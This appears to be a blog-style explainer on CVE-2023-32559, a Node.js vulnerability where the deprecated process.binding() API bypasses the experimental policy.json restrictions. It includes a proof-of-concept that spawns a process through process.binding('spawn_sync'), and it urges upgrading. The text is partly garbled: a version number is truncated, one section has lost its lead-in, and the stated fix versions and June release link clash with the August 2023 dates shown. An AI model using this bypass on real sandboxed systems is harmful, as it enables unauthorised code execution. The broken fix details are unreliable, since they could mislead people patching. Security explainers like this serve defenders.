---

TL;DR

CVE-2023-32559 is a serious privilege escalation vulnerability in Node.js, affecting the experimental policy mechanism in versions 16.x, 18.x, and 20.x. Attackers can use the deprecated process.binding() API to bypass security limits defined in policy.json and run arbitrary code, effectively disabling Node’s policy protection. Here, you’ll find easy-to-understand details, a real code example, original references, and insights into how an attacker could exploit this vulnerability.

What’s the Node.js Policy Mechanism?

Node.js introduced an experimental policy mechanism to let developers restrict module loading and code execution using a policy.json policy file. The goal: prevent untrusted modules from doing things like loading native code, accessing the file system, or running extra processes.

A typical policy.json might look like

{
  "resources": {
    "./index.js": {
      "dependencies": true
    }
  },
  "builtin": {
    "child_process": false,   // Disallow dangerous module
    "fs": false
  }
}

Using --experimental-policy=policy.json when starting Node enforces these restrictions.

So What’s the Problem (CVE-2023-32559)?

Node.js’ policy checks were supposed to block access to certain built-in modules and native bindings. However, older (and deprecated) Node APIs, like process.binding(), were not covered. Thanks to this, a crafty script can still load low-level Node internals—even if the policy says “no.”

The most critical of these is process.binding('spawn_sync'), which can be used to spawn new processes (i.e., run system commands)—completely bypassing your policies.

Even if you have a policy.json banning child_process and fs, you might try this in your app

try {
  // This will fail as per policy
  const { execSync } = require('child_process');
  execSync('echo Vulnerable!');
} catch (e) {
  console.log('child_process blocked:', e.message);
}

But now, with process.binding() (the exploit)

// Exploiting CVE-2023-32559
const spawnSync = process.binding('spawn_sync').spawn;

const result = spawnSync(
  process.execPath,                       // Node.js executable
  ['-e', 'console.log("CVE-2023-32559 exploited!")'], // JS code to run
  { input: '' }
);
console.log(Buffer.from(result.stdout).toString());

This snippet executes new Node.js code, prints a message—even with the policy locking down child_process. In reality, an attacker could run any system command this way.

How Does This Work?

Internally, process.binding() reaches into the Node.js “native” layer, sidestepping the policy’s module blocklist. Since the policy mechanism only wraps require()-based imports or import statements, it never intercepts these lower-level calls.

This lets an attacker access powerful internals—like spawn_sync, which actually does the work of running system processes for child_process.spawnSync()—with no policy protection.

Rely on the experimental policy mechanism to sandbox or lockdown code

…then yes, you are affected, especially if you expect policies to completely block arbitrary code execution.

Note: Policies are still experimental! But some users may have deployed them anyway, expecting sandbox-like security.

Update Node.js!

- Node.js maintainers fixed this in v16.20.1, v18.16.1, and v20.2..
  - Download from the official website.

Official Node.js Security Release:

https://nodejs.org/en/blog/vulnerability/june-2023-security-releases/

Node.js Policy Documentation:

https://nodejs.org/api/policy.html

NVD Entry for CVE-2023-32559:

https://nvd.nist.gov/vuln/detail/CVE-2023-32559

Summary

CVE-2023-32559 made it possible for attackers to sidestep Node.js policy restrictions via process.binding(). If you depended on policy.json files for security, upgrade now and rethink your threat model. Node.js policies are still experimental and not bulletproof.

Stay Safe

Always keep Node.js up-to-date, avoid running untrusted code, and follow security best practices! If you liked this deep dive, share it to help others secure their apps.

Timeline

Published on: 08/24/2023 02:15:00 UTC
Last modified on: 09/01/2023 17:05:00 UTC